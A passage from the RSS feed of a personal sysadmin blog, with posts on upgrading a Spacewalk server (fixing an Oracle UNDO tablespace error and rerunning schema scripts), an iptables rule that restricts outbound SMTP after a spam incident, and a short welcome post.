		<guid isPermaLink="false">http://www.soumplis.com/?p=41</guid>
		<description><![CDATA[Today I decided to update my Spacewalk server to the latest version (0.8 on today&#8217;s nightly build). In case you have never heard of Spacewalk before, &#8220;Spacewalk is an open source (GPLv2) Linux systems management solution. It is the upstream community project from which the Red Hat Network Satellite product is derived&#8221;. Personally I use [...]]]></description>
			<content:encoded><![CDATA[<p>Today I decided to update my Spacewalk server to the latest version (0.8 on today&#8217;s nightly build). In case you have never heard of Spacewalk before, <a href="http://www.redhat.com/spacewalk/" target="_blank">&#8220;Spacewalk is an open source (GPLv2) Linux systems management solution. It is the upstream community project from which the Red Hat Network Satellite product is derived&#8221;</a>. Personally I use it as a central update server for all my CentOS server (more than 40 systems at the moment). I follow spacewalk since version 0.2, so one can easy understand that this is my sixth update and I have not faced any serious issues until now. The only problem is the fact that Spacewalk scripts take for granted the fact that the Apache server running on the spacewalk server does not serve any other sites. Unfortunately this is not my case so I have to reconfigure apache all the time after a spacewalk upgrade and I have to notice that in every single update the required changes are different!</p>
<p>This time things were not so easy as Oracle was not friendly! I followed the documented procedure and while the schema upgrade I received the following error:</p>
<pre>SQL&gt; update rhnPackageFile p
2     set checksum_id = lookup_checksum('md5', md5);
update rhnPackageFile p
       *
ERROR at line 1:
ORA-30036: unable to extend segment by 8 in undo tablespace 'UNDO'</pre>
<p>It was obvious a problem with the UNDO tablespace hitting its extend limit. I verified that I had enough hard disk space available and then I executed the sqlplus utility to verify that the tablespace has hit its limit.</p>
<pre>SQL&gt; select file_name, bytes, autoextensible, maxbytes
from dba_data_files where tablespace_name='UNDO';

FILE_NAME
----------------------------------------------------------------------
BYTES AUT   MAXBYTES
---------- --- ----------
/usr/lib/oracle/xe/oradata/XE/undo.dbf
524288000 YES  524288000</pre>
<p>Then I extend it genersouly!</p>
<pre>SQL&gt; alter database datafile '/usr/lib/oracle/xe/oradata/XE/undo.dbf'
autoextend on next 100m maxsize 2000m;

Database altered.

SQL&gt; select file_name, bytes, autoextensible, maxbytes
from dba_data_files where tablespace_name='UNDO';

FILE_NAME
----------------------------------------------------------------------
BYTES AUT   MAXBYTES
---------- --- ----------
/usr/lib/oracle/xe/oradata/XE/undo.dbf
524288000 YES 2097152000</pre>
<p>Unfortunately I could not use any more the automated script <em>spacewalk-schema-upgrade </em>in order to complete the schema upgrade. The solution was again to use the sqlplus utility and execute all sql scripts against the database. To do that I wrote the following bash script:</p>
<pre>#!/bin/bash
cd /etc/sysconfig/rhn/schema-upgrade/
cd spacewalk-schema-0.7-to-spacewalk-schema-0.8/</pre>
<pre>for sqlscript in `ls -1`
do
echo "****"
echo "Executing script $sqlscript"
echo "****"
sqlplus dbuser/dbpass &lt;&lt;EOF
@$sqlscript;
EOF
done</pre>
<p>I carefully noticed the output of the script for errors. As expected the first scripts, which have already been executed, displayed several warnings and errors but after the script <em>012-2-rhnPackageFile-data.sql</em> which initialy failed, everything went smoothly!</p>
<p><span style="color: #ff0000;"><strong>UPDATE:</strong></span><br />
Later I have found that I had to manually update the rhnVersionInfo table in order for new spacewalk upgrades to work. From a shell execute the command:</p>
<pre>rpm -q spacewalk-schema</pre>
<p>and you will get something like &#8220;spacewalk-schema-0.8.9-1.el5.noarch.rpm&#8221;. Then login to sqlplus interface and execute the following query (alter accordingly to fit your enviroment):</p>
<pre>SQL&gt; INSERT INTO rhnVersionInfo 
( label, name_id, evr_id, created, modified )
VALUES ('schema', lookup_package_name('spacewalk-schema'),
lookup_evr(null, '0.8.9', '1.el5' ), sysdate, sysdate );</pre>
<pre>SQL&gt; COMMIT;</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/09/spacewalk-update-adventures/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spammer Nightmare</title>
		<link>http://www.soumplis.com/2010/02/03/spammer-nightmare/</link>
		<comments>http://www.soumplis.com/2010/02/03/spammer-nightmare/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 14:59:38 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mail]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=21</guid>
		<description><![CDATA[Well it happened to me today a strong fight against a spammer on one of my servers. I had a very hard time tracking down the originator of the spam as it was a shared hosting server and the spammer had gained, among others, ftp access to the exploited account. Thus it was easy to [...]]]></description>
			<content:encoded><![CDATA[<p>Well it happened to me today a strong fight against a spammer on one of my servers. I had a very hard time tracking down the originator of the spam as it was a shared hosting server and the spammer had gained, among others, ftp access to the exploited account. Thus it was easy to hide the spam sending code within a legitimate and ordinary looking php script which implemented its own SMTP engine. This way there where no logs on my Exim SMTP server log files and I had to examine Apache log files for every single hosting account on the server.</p>
<p>It has been a good lesson for me and my next move was to disallow anyone besides root and Exim to send mail to be able to connect to remote MTAs. Thanks to Linux iptables it was feasible and quite easy with a rule similar to this:</p>
<blockquote><p>/sbin/iptables -I OUTPUT &#8211;protocol tcp &#8211;dport 25 -m owner &#8211;gid-owner 47 -j ACCEPT</p></blockquote>
<p>Next step was to clean my exim queues from bounce backs and various junk due to the thousands of e-mails send out to the Internet. As always I had to dig my notes and find the appropriate commands so I decided to post them on my fellow site, <a href="http://www.howto.gr/wp/2010/02/fighting-with-exim-queues/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/03/spammer-nightmare/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>At last&#8230;</title>
		<link>http://www.soumplis.com/2010/02/03/at-last/</link>
		<comments>http://www.soumplis.com/2010/02/03/at-last/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 22:20:55 +0000</pubDate>
		<dc:creator>asou</dc:creator>
				<category><![CDATA[Every Day News]]></category>
		<category><![CDATA[me]]></category>

		<guid isPermaLink="false">http://www.soumplis.com/?p=11</guid>
		<description><![CDATA[I am trying to bring this page online since the last three months&#8230; Nothing great but i so desperately out of time that I could not give my attention to this. Hopefully now that it&#8217;s all set I&#8217;ll update this blog with news, information, solutions and generally anything that it may be of interest to [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I am trying to bring this page online since the last three months&#8230;</p>
<p style="text-align: justify;">Nothing great but i so desperately out of time that I could not give my attention to this.</p>
<p style="text-align: justify;">Hopefully now that it&#8217;s all set I&#8217;ll update this blog with news, information, solutions and generally anything that it may be of interest to all of you out there.</p>
<p style="text-align: justify;">Some times I will also post stories of my personal life just a depressurisation pump for my self. My psy-doctor adivces me to share my thoughts with others <img src='http://www.soumplis.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p style="text-align: left;">Greetings to all of you,<br />
Soumplis Alexandros</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soumplis.com/2010/02/03/at-last/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

